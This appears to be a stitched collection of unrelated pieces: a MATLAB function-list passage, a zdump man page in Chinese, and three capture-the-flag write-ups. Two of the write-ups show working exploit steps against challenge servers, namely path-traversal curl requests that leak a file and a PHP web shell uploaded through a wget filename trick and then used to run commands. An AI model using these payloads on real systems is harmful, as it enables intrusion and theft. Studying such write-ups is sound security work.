[read](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.characteristic.read.html) | Read characteristic or descriptor data on a `Bluetooth` low energy peripheral device
[write](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.characteristic.write.html) | Write data to a characteristic or descriptor of a `Bluetooth` low energy peripheral device
[subscribe](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.characteristic.subscribe.html) | Subscribe to characteristic notifications or instructions
[unsubscribe](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.characteristic.unsubscribe.html) | Unsubscribe characteristic notifications and instructions {.style-list}
### Web Services
- | -
- | -
[webread](https://www.mathworks.com/help/matlab/ref/webread.html) | Read content from RESTful web services
[webwrite](https://www.mathworks.com/help/matlab/ref/webwrite.html) | Write data to RESTful web service
[websave](https://www.mathworks.com/help/matlab/ref/websave.html) | Save content in RESTful web service to file
[weboptions](https://www.mathworks.com/help/matlab/ref/weboptions.html) | Specify parameters for RESTful web services
[web](https://www.mathworks.com/help/matlab/ref/web.html) | Open a webpage or file in a browser
[sendmail](https://www.mathworks.com/help/matlab/ref/sendmail.html) | Send email to address list
### FTP file operations {.row-span-2}
- | -
- | -
[ftp](https://www.mathworks.com/help/matlab/ref/ftp.html) | Connect to an FTP server to access its files
[sftp](https://www.mathworks.com/help/matlab/ref/sftp.html) | Connection to SFTP server to access its files
[ascii](https://www.mathworks.com/help/matlab/ref/ftp.ascii.html) | Set FTP transfer mode to ASCII
[binary](https://www.mathworks.com/help/matlab/ref/ftp.binary.html) | Set FTP transfer mode to binary
[cd](https://www.mathworks.com/help/matlab/ref/ftp.cd.html) | Change or view the current folder on an SFTP or FTP server
[close](https://www.mathworks.com/help/matlab/ref/ftp.close.html) | Close the connection to the SFTP or FTP server
[delete](https://www.mathworks.com/help/matlab/ref/ftp.delete.html) | Delete files on SFTP or FTP server
[dir](https://www.mathworks.com/help/matlab/ref/ftp.dir.html) | List folder contents on SFTP or FTP server
[mget](https://www.mathworks.com/help/matlab/ref/ftp.mget.html) | Download files from SFTP or FTP server
[mkdir](https://www.mathworks.com/help/matlab/ref/ftp.mkdir.html) | Create a new folder on an SFTP or FTP server
[mput](https://www.mathworks.com/help/matlab/ref/ftp.mput.html) | Upload files or folders to SFTP or FTP server
[rename](https://www.mathworks.com/help/matlab/ref/ftp.rename.html) | Rename a file on an SFTP or FTP server
[rmdir](https://www.mathworks.com/help/matlab/ref/ftp.rmdir.html) | Delete a folder on an SFTP or FTP server
### Internet of Things (IoT) Data
- | -
- | -
[thingSpeakRead](https://www.mathworks.com/help/matlab/ref/thingspeakread.html) | Read data stored in `ThingSpeak` channel
[thingSpeakWrite](https://www.mathworks.com/help/matlab/ref/thingspeakwrite.html) | write data to `ThingSpeak` channel
|
sec-knowleage
|
## Which one is flag? (trivia, 75p, 89 solves)
> Which one is [flag](flagBag.zip)?
### PL
[ENG](#eng-version)
Otrzymujemy plik tekstowy z prawie 300 tysiącami flag. Jednak pierwsze co rzuca się w oczy to po jednym null byte na wiersz.

Sprawdzamy ile tych null byte-ów jest: okazuje się, że o jeden mniej niż wszystkich flag. Znajdźmy więc flagę bez niego - najpierw usuwamy wszystkie znaki w każdym z wierszy od nullbyte'a: `\x00.+`, a następnie szukamy znaku `}`. Pozostał tylko jeden - we fladze:
`ASIS{dc99999733dd1f4ebf8c199753c05595}`
### ENG version
We get a text file wiht almost 300,000 flags. However, first thing that we notice is that there is a single null byte per row.

We check the number of null bytes and it turns out it's the number of all flags -1. So we look for the flag without the null byte - first we remove all characters in every row starting from nullyte `\x00.+` and then we search for `}`. There is only one - in the flag:
`ASIS{dc99999733dd1f4ebf8c199753c05595}`
|
sec-knowleage
|
# Episode 4: Challenge 1
## Description
> This endpoint is used by the VRP website to download attachments. It also has a rarely-used endpoint for importing bulk attachments, probably used for backups or migrations. Maybe it contains some bugs?
>
> Hint: Some of the pages on this version of the website are different, look around for hints about new endpoints.
A link to a website was attached.
## Solution
The attached website is a duplicate of the "Google VRP" website, used to submit vulnerabilities to Google.
The FAQ contains the following Q&A:
```
Q: Why did my attachment fail to upload?
A: To debug, you should call the /import endpoint manually and look at the detailed error message in the response. The same applies to the /export endpoint for downloading attachments from a submission.
```
Let's try it:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl "https://path-less-traversed-web.h4ck.ctfcompetition.com/import"
only POST allowed
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import"
missing submission parameter
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=0"
server undergoing migration, import endpoint is temporarily disabled (dry run still enabled)
```
Dry run? What? Well, this challenge becomes much more understandable once we get the source code from [Challenge 3](e04c03.md).
```go
// importAttachments imports a tar archive of attachments for a submission.
func importAttachments(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "only POST allowed", http.StatusMethodNotAllowed)
return
}
submission := r.URL.Query().Get("submission")
if submission == "" {
http.Error(w, "missing submission parameter", http.StatusBadRequest)
return
}
// Allow a dry run to test the endpoint.
dryRun := r.URL.Query().Get("dryRun") != ""
// TODO: Remove this before deploying to prod!
debug := r.URL.Query().Get("debug") != ""
// Read the archive from the request.
r.ParseMultipartForm(32 << 20) // Limit max input length
file, header, err := r.FormFile("attachments")
if err != nil {
http.Error(w, fmt.Sprintf("could not open file %v: %v", file, err), http.StatusBadRequest)
return
}
defer file.Close()
filename := filepath.Base(header.Filename)
// Open with gzip and tar.
in, err := gzip.NewReader(file)
if err != nil {
http.Error(w, fmt.Sprintf("could not open file %v with gzip: %v", filename, err), http.StatusBadRequest)
return
}
tr := tar.NewReader(in)
// Parse the .tar.gz file.
for {
var err error
// Read until the EOF chunk.
h, err := tr.Next()
if err != nil {
if err == io.EOF {
break
}
http.Error(w, fmt.Sprintf("error reading tar entry: %v", err), http.StatusBadRequest)
return
}
// Skip directories.
if h.FileInfo().IsDir() {
fmt.Printf("skipping directory %v in archive\n", h.Name)
continue
}
// Check if the file already exists. If so, show a diff.
attachmentPath := path.Join(submission, h.Name)
info, err := os.Stat(attachmentPath)
if err != nil {
fmt.Fprintf(w, "new file: %v\n", attachmentPath)
continue
}
// File already exists.
if !info.Mode().IsRegular() {
fmt.Fprintf(w, "skipping non-regular file attachment %v\n", attachmentPath)
continue
}
fmt.Fprintf(w, "WARNING: file %v already exists and would get overwritten (enable debug to see differences)\n", attachmentPath)
// Read the archive file.
trContents, err := ioutil.ReadAll(tr)
if err != nil {
http.Error(w, fmt.Sprintf("error reading uploaded attachment %v: %v", h.Name, err), http.StatusBadRequest)
return
}
// TODO: Remove this before deploying to prod!
if debug {
trString := string(trContents)
existingContents, err := ioutil.ReadFile(attachmentPath)
if err != nil {
http.Error(w, fmt.Sprintf("error reading existing file %v: %v", attachmentPath, err), http.StatusBadRequest)
return
}
existingString := string(existingContents)
if strings.Compare(trString, existingString) == 0 {
fmt.Fprintf(w, "no differences\n")
continue
}
msg := "showing existing and new contents:\n"
msg += "=====\n"
for _, line := range strings.Split(strings.ReplaceAll(existingString, "\r\n", "\n"), "\n") {
msg += fmt.Sprintf("< %s\n", line)
}
msg += "-----\n"
for _, line := range strings.Split(strings.ReplaceAll(trString, "\r\n", "\n"), "\n") {
msg += fmt.Sprintf("> %s\n", line)
}
msg += "=====\n"
fmt.Fprintf(w, "%s\n", msg)
// Debug mode, so just continue without writing the file.
continue
}
// Write the new file.
os.WriteFile(attachmentPath, trContents, 0660)
}
}
```
Now we see that we can provide a `dryRun` parameter. Moreover, we can also provide a `debug` parameter which prints out much more details.
And above all that, we can also spot a subtle vulnerability that allows us to perform a Local File Inclusion attack by controlling the `submission` parameter.
Let's use all that to leak the flag. We'll assume that the flag is located at `/flag` like in other challenges.
First, we need to create a dummy `flag` file, zipped in a GZIP archive:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ echo fake_flag > flag
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ tar -zcvf test.tar.gz flag
flag
```
We submit it to the `import` endpoint:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=/&debug=1&dryRun=1" -F attachments=@test.tar.gz
WARNING: file /flag already exists and would get overwritten (enable debug to see differences)
showing existing and new contents:
=====
< https://h4ck1ng.google/solve/TakingThePathLessTraversed
<
-----
> fake_flag
>
=====
```
The `/` from the `submission` parameter was joined with the `flag` that we archived and allowed us to see the diff between our dummy file and `/flag`, leaking us the real flag.
|
sec-knowleage
|
.\" Chinese Version Copyright mhss, www.linuxforum.net, 2000
.TH ZDUMP 8
.SH NAME
zdump \- 时区输出器
.SH SYNOPSIS 总览
.B zdump
[
.B \-v
] [
.B \-c
cutoffyear ] [ zonename ... ]
.SH 描述
.I Zdump
对命令行中的每一个
.I zonename
输出其当前时间。
.PP
提供了以下选项:
.TP
.B \-v
对于命令行的每一个
.I zonename
,
输出可能的最早时间值,可能的最早时间一天以后的时间值,
它们均是能被检测到的精确时刻的1秒前的时间值,
可能的最晚时间一天以前的时间值, 可能的最晚时间值,
如果给出的时间是夏令时,每行以
.B isdst=1
结束,否则以
.B isdst=0
结束。
.TP
.BI "\-c " cutoffyear
在给定的年份开始的前后,剪切掉冗余的输出。
.SH "又见"
newctime(3), tzfile(5), zic(8)
.\" @(#)zdump.8 7.3
.SH [中文版维护人]
.B mhss <jijingzhisheng@up369.com>
.SH [中文版最新更新]
2000/12/05
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## Trendyweb (Web, 100p)
###ENG
[PL](#pl-version)
We get the source for index.php running on server:
```php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
} }
function onShutdown() {
global $session_path;
file_put_contents($session_path. '/pickle', serialize($_SESSION));
}
session_start();
register_shutdown_function('onShutdown');
function set_context($id) {
global $_SESSION, $session_path;
$session_path=getcwd() . '/data/'.$id;
if(!is_dir($session_path)) mkdir($session_path);
chdir($session_path);
if(!is_file('pickle')) $_SESSION = array();
else $_SESSION = unserialize(file_get_contents('pickle'));
}
function download_image($url) {
$url = parse_url($origUrl=$url);
if(isset($url['scheme']) && $url['scheme'] == 'http')
if($url['path'] == '/avatar.png') {
system('/usr/bin/wget '.escapeshellarg($origUrl));
}
}
if(!isset($_SESSION['id'])) {
$sessId = bin2hex(openssl_random_pseudo_bytes(10));
$_SESSION['id'] = $sessId;
} else {
$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if(isset($_POST['image'])) download_image($_POST['image']);
?>
<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />
```
And information that we need a shell to run a flag reader in `/`.
Intially we focused on the obvious unserialize vulnerability, but we could not figure out how to put our payload inside `pickle` file.
The only way seemed to be using the `download_image` function, but wget would not save the file under selected name.
While considering if this can be overriden we found out that wget behaves interestingly when the URL has some GET parameters.
Specifically downloading from URL `http://something.pwn/avatar.png?hacked.php` will actually create a file with name `avatar.png?hacked.php`.
At the same time the `parse_url` checks in `download_image` will pass since the GET parameters are not part of `$url['path']`.
Since the uploaded file had now .php extension the server was interpreting the script inside, so we simply put a PHP shell inside:
```php
<? system($_GET['cmd']) ?>
```
And with that we could simply run
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /`
to get the name of flag reading binary (`flag_is_heeeeeeeereeeeeee`) and then:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee`
to get the actual flag: `1-day is not trendy enough`
###PL version
Dostajemy źródło pliku index.php działającego na serwerze:
```php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
} }
function onShutdown() {
global $session_path;
file_put_contents($session_path. '/pickle', serialize($_SESSION));
}
session_start();
register_shutdown_function('onShutdown');
function set_context($id) {
global $_SESSION, $session_path;
$session_path=getcwd() . '/data/'.$id;
if(!is_dir($session_path)) mkdir($session_path);
chdir($session_path);
if(!is_file('pickle')) $_SESSION = array();
else $_SESSION = unserialize(file_get_contents('pickle'));
}
function download_image($url) {
$url = parse_url($origUrl=$url);
if(isset($url['scheme']) && $url['scheme'] == 'http')
if($url['path'] == '/avatar.png') {
system('/usr/bin/wget '.escapeshellarg($origUrl));
}
}
if(!isset($_SESSION['id'])) {
$sessId = bin2hex(openssl_random_pseudo_bytes(10));
$_SESSION['id'] = $sessId;
} else {
$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if(isset($_POST['image'])) download_image($_POST['image']);
?>
<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />
```
Oraz informacje, że potrzebujemy shella aby uruchomic program do odczytania flagi znajdujący się w `/`.
Początkowo skupiliśmy się na ewidentnej podatności unserialize, ale nie mogliśmy dojść do tego, jak umieścić nasz payload w pliku `pickle`.
Jedyna sensowna droga sugerowała użycie funkcji `download_image`, ale nie wiedzieliśmy jak zmusić wgeta do zapisania pliku pod inną nazwą.
Podczas rozważania jak można zmienić nazwę wynikowego pliku zauważyliśmy, że wget ciekawe obsługuje URLe z parametrami GET.
Konkretnie pobieranie z URLa `http://something.pwn/avatar.png?hacked.php` utworzy plik o nazwie `avatar.png?hacked.php`.
Jednocześnie wszystkie warunki w`parse_url` będą nadal spełnione bo parametry GET nie są częścią `$url['path']`.
Ponieważ tak uploadowany plik ma rozszerzenie .php serwer wykonuje skrypty w nim zawarte, więc umieściliśmy tam prosty PHP shell:
```php
<? system($_GET['cmd']) ?>
```
I w ten sposób mogliśmy uruchomić:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /`
aby pobrać nazwę programu do odczytywania flagi (`flag_is_heeeeeeeereeeeeee`) a następnie:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee`
aby odczytać flagę: `1-day is not trendy enough`
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.